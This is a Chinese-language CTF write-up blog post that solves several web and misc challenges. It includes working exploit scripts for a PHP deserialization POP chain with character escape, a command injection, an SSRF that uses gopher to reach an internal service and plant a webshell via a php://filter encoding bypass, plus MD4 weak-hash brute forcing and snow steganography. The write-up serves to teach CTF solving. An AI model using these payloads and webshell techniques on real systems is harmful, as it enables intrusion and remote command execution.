Author:颖奇L’Amore

Blog:www.gem-love.com

被队友带飞,最后在pwn手都没有时间打的情况下依然获得了第10名的好成绩,比赛质量很好,队友质量也很高,特别是pizzatql!


web辅助

考点就是反序列化POP链、字符逃逸、黑名单绕过、__wakeup()魔术方法

链子:

topsolo类下将midsolo类作为方法调用 -> midsolo类触发__invoke() -> Gank() -> jungle类触发__toString() -> KS() -> system('cat /flag')

替换则造成反序列化字符逃逸:

function read($data){
    $data = str_replace('\0*\0', chr(0)."*".chr(0), $data);
    return $data;
}
function write($data){
    $data = str_replace(chr(0)."*".chr(0), '\0*\0', $data);
    return $data;
}

关于字符逃逸问题参考DASCTF4月赛DASCTF6月赛的相关wp,这里就不多说了。

另外这里有个黑名单,可以用HEX绕过:

function check($data)
{
    if(stristr($data, 'name')!==False){
        die("Name Pass\n");
    }
    else{
        return $data;
    }
}

至于__wakeup()只需要修改属性个数即可绕过。

全自动一键打exp:

<?php

//Author: 颖奇L'Amore
//Blog:www.gem-love.com

class topsolo{
    protected $name;
    public function __construct($name = 'Riven'){
        $this->name = $name;
    }
}

class midsolo{
    protected $name;
    public function __construct($name){
        $this->name = $name;
    }
}

class jungle{
    protected $name = "";
    public function __construct($name = "Lee Sin"){
        $this->name = $name;
    }
}

function decorate($top)
{
    $arr = explode(':', $top);
    for ( $i = 0; $i < count($arr); $i++)
    {
        if (preg_match('/name/', $arr[$i]))
        {
            $arr[$i - 2] = str_replace('s', 'S', $arr[$i - 2]);
            $arr[$i] = str_replace('name', '\\6E\\61\\6D\\65', $arr[$i]);
        }
    }
    $top = str_replace('"midsolo":1', '"midsolo":3', join(':', $arr));
    return $top;
}

function login($host,  $top)
{
    $padding = '";s:7:"0*0pass;s:155:"';
    $uname = "Y1ng" . str_repeat('\0*\0', ( strlen($padding) / 2 ));
    $pword = ';s:4:"Y1ng";' . $top . 's:1:"a";s:1"a';
    $url = $host . '?username=' . urlencode($uname) . '&password=' . urlencode($pword);
    return $url;
}

function cURL($url){
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $output = curl_exec($ch);
    curl_close($ch);
    return $output;
}

$host = 'http://[your_container].cloudeci1.ichunqiu.com//';
$top = decorate(serialize(new topsolo(new midsolo(new jungle))));
cURL(login($host, $top));
echo preg_replace('/Must Be Yasuo!|\s/', '', cURL($host. 'play.php'));

运行即可获得flag:


主动

题目:

 <?php
highlight_file("index.php");

if(preg_match("/flag/i", $_GET["ip"]))
{
    die("no flag");
}

system("ping -c 3 $_GET[ip]");

一个非常签到的命令注入

view-source:http://39.96.23.228:10002/?ip=;cat%20`ls`


Funhash

题目:

<?php
include 'conn.php';
highlight_file("index.php");
//level 1
if ($_GET["hash1"] != hash("md4", $_GET["hash1"]))
{
    die('level 1 failed');
}

//level 2
if($_GET['hash2'] === $_GET['hash3'] || md5($_GET['hash2']) !== md5($_GET['hash3']))
{
    die('level 2 failed');
}

//level 3
$query = "SELECT * FROM flag WHERE password = '" . md5($_GET["hash4"],true) . "'";
$result = $mysqli->query($query);
$row = $result->fetch_assoc(); 
var_dump($row);
$result->free();
$mysqli->close();

也很简单,第一层就MD4跑脚本,第二层数组绕过(或者md5碰撞也行),第三层用129581926211651571912466741651878684928 或者 ffifdyop

level 1 exp:

#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com

import struct
import re
class MD4:
    width = 32
    mask = 0xFFFFFFFF

    h = [0x67452301, 0xEFCDAB89, 0x98BADCFE, 0x10325476]

    def __init__(self, msg=None):
        if msg is None:
            msg = b""

        self.msg = msg

        ml = len(msg) * 8
        msg += b"\x80"
        msg += b"\x00" * (-(len(msg) + 8) % 64)
        msg += struct.pack("<Q", ml)

        self._process([msg[i: i + 64] for i in range(0, len(msg), 64)])

    def __repr__(self):
        if self.msg:
            return f"{self.__class__.__name__}({self.msg:s})"
        return f"{self.__class__.__name__}()"

    def __str__(self):
        return self.hexdigest()

    def __eq__(self, other):
        return self.h == other.h

    def bytes(self):
        return struct.pack("<4L", *self.h)

    def hexbytes(self):
        return self.hexdigest().encode

    def hexdigest(self):
        return "".join(f"{value:02x}" for value in self.bytes())

    def _process(self, chunks):
        for chunk in chunks:
            X, h = list(struct.unpack("<16I", chunk)), self.h.copy()

            # Round 1.
            Xi = [3, 7, 11, 19]
            for n in range(16):
                i, j, k, l = map(lambda x: x % 4, range(-n, -n + 4))
                K, S = n, Xi[n % 4]
                hn = h[i] + MD4.F(h[j], h[k], h[l]) + X[K]
                h[i] = MD4.lrot(hn & MD4.mask, S)

            # Round 2.
            Xi = [3, 5, 9, 13]
            for n in range(16):
                i, j, k, l = map(lambda x: x % 4, range(-n, -n + 4))
                K, S = n % 4 * 4 + n // 4, Xi[n % 4]
                hn = h[i] + MD4.G(h[j], h[k], h[l]) + X[K] + 0x5A827999
                h[i] = MD4.lrot(hn & MD4.mask, S)

            # Round 3.
            Xi = [3, 9, 11, 15]
            Ki = [0, 8, 4, 12, 2, 10, 6, 14, 1, 9, 5, 13, 3, 11, 7, 15]
            for n in range(16):
                i, j, k, l = map(lambda x: x % 4, range(-n, -n + 4))
                K, S = Ki[n], Xi[n % 4]
                hn = h[i] + MD4.H(h[j], h[k], h[l]) + X[K] + 0x6ED9EBA1
                h[i] = MD4.lrot(hn & MD4.mask, S)

            self.h = [((v + n) & MD4.mask) for v, n in zip(self.h, h)]

    @staticmethod
    def F(x, y, z):
        return (x & y) | (~x & z)

    @staticmethod
    def G(x, y, z):
        return (x & y) | (x & z) | (y & z)

    @staticmethod
    def H(x, y, z):
        return x ^ y ^ z

    @staticmethod
    def lrot(value, n):
        lbits, rbits = (value << n) & MD4.mask, value >> (MD4.width - n)
        return lbits | rbits

def getMD4(s):
    message = s.encode()
    return MD4(message).hexdigest()

def main():
    i = 0
    while True:
        i += 1
        message = f'0e{i}'
        messageMd4 = getMD4(message)
        messageList = messageMd4.split('e')
        if len(messageList) == 2:
            print(i)
            pattern = re.compile(r'^[0]+$')
            if pattern.match(messageList[0]) and messageList[1].isdigit():
                print(f"{message}'s md4 is {messageMd4} by Y1ng")
                break
        else:
            continue

if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        pass

half_infiltration

mainly solved by my strong teammates hpdoger and f1sh

题目:

<?php
highlight_file(__FILE__);

$flag=file_get_contents('ssrf.php');

class Pass
{


    function read()
    {
        ob_start();
        global $result;
        print $result;

    }
}

class User
{
    public $age,$sex,$num;

    function __destruct()
    {
        $student = $this->age;
        $boy = $this->sex;
        $a = $this->num;
    $student->$boy();
    if(!(is_string($a)) ||!(is_string($boy)) || !(is_object($student)))
    {
        ob_end_clean();
        exit();
    }
    global $$a;
    $result=$GLOBALS['flag'];
        ob_end_clean();
    }
}

if (isset($_GET['x'])) {
    unserialize($_GET['x'])->get_it();
} 

这里需要break掉缓冲区然后得到ssrf.php的源码,于是构造一个fatal error,exp:

<?php
$y1ng = new User;
$y1ng->age = new Pass;
$y1ng->sex = 'read';
$y1ng->num = 'result';

$c = new User;
$c->age = new Pass;
$c->sex = 'read';
$c->num = this;

$ser = serialize([$y1ng,$c]);
var_dump($ser);

得到ssrf.php源码:

<?php 
//经过扫描确认35000以下端口以及50000以上端口不存在任何内网服务,请继续渗透内网
    $url = $_GET['we_have_done_ssrf_here_could_you_help_to_continue_it'] ?? false; 
	if(preg_match("/flag|var|apache|conf|proc|log/i" ,$url)){
		die("");
	}
	if($url)
    { 
            $ch = curl_init(); 
            curl_setopt($ch, CURLOPT_URL, $url); 
            curl_setopt($ch, CURLOPT_HEADER, 1);
            curl_exec($ch);
            curl_close($ch); 
     } 
?>

用burp intruder或者写个小脚本爆破端口,可以爆破出40000号端口,然后有上传功能,于是用gopher写马

然而文件内容过滤的很严,基本没法绕过。因为是写文件,猜测使用了file_put_contents(),那么则可以使用PHP wrapper然后用filter编码绕过,二次base64编码即可。exp:

#By hpdoger & f1sh & Y1ng
from urllib.parse import quote
import requests
import re
import base64
import sys

def base(str1):
	result = base64.b64encode(str1.encode()).decode()
	result = base64.b64encode(result.encode()).decode()
	return result
def check(s): 
	l = ['ph', 'Pz4', '<?', 'PD9wa', 'script', '=']
	for i in l:
		if i in s:
			return False
	return True

webshell = '<?=`cat /flag`;' #<script language='php'>
shellname = '1.phtml'

if not check(base(webshell)):
	print('no   '+base(webshell))
	sys.exit()
filename = "php://filter/convert.base64-decode|convert.base64-decode|AAPD9waHAgcGhwaW5mbygpOz8+/resource=" + shellname
post_raw = "file={}&content=UEQ4OVlHTmhkQ0F2Wm14aFoyQTc".format(filename, base(webshell))
proxies = {"http":"http://127.0.0.1:7890"}
url = "http://39.98.131.124/ssrf.php?"
payload = """we_have_done_ssrf_here_could_you_help_to_continue_it=gopher://127.0.0.1:40000/_POST%20%2findex.php%20HTTP%2f1.1%250d%250aHost%3A%20127.0.0.1%3A40000%250d%250aConnection%3A%20close%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250aContent-length%3A%20{length}%250d%250a%250d%250a{poc}"""
final =payload.format(length=len(post_raw),poc=quote(post_raw))
final_raw = url+final
rec = requests.get(url=final_raw, proxies=proxies)
sessid= "".join(re.findall("PHPSESSID=.*;",rec.text)).strip("PHPSESSID=").strip(";")
shell_url = "http://39.98.131.124/ssrf.php?we_have_done_ssrf_here_could_you_help_to_continue_it=http://localhost:40000/uploads/"+sessid+"/"+shellname
print(shell_url,end='\n')
rec2 = requests.get(url=shell_url, proxies=proxies)
print(rec2.text)


miscstudy

究极套娃,前6个level就不说了,最后一个level是真的值得喷一下

level6的最后得到了level7的地址:

题目访问是一个ctrl+s下来的百度,diff发现没什么区别,只有一行注释:

<!-- How did it become a blank , maybe you should pass (no one can find me)-->

diff没有发现太多区别,然而发现了奇怪的换行,之后继续查看可以看到交错的空格和tab,典型的snow隐写,参考我出的DASCTF6月的PhysicalHacker。

然而直接分离不出来正确的明文:

根据注释maybe you should pass (no one can find me),snow需要加上密码,密码就是no one can find me,然后就可以得到最后一部分的flag了:

snow -C -p "no one can find me" out.txt

真的他妈的无语,pass什么时候还有password的意思了???

pass 英[pɑːs] 美[pæs]
v.
通过; 走过; 沿某方向前进; 向某方向移动; 使沿(某方向)移动; 使达到(某位置);
n.
及格; 合格; 通过; 通行证; 车票; 乘车证; (某些运动中) 传球;

“you shuold pass”,真的是万万没想到,pass是密码的意思

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/ctf/2576.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示


颖奇L'Amore

Most of the time is also called Y1ng. Cisco Certified Internetwork Expert - Routing and Switching. CTF player for team r3kapig. Forcus on Web Security. Islamic Scholar. Be good at sleeping and fishing in troubled waters.

1 条评论

Yoshino-s · 2020年8月24日 21:39

pass有通过的意思,引伸为传入,指你需要传入`no one can find me`(强行有道理

发表评论

电子邮件地址不会被公开。 必填项已用*标注

在此处输入验证码 : *

Reload Image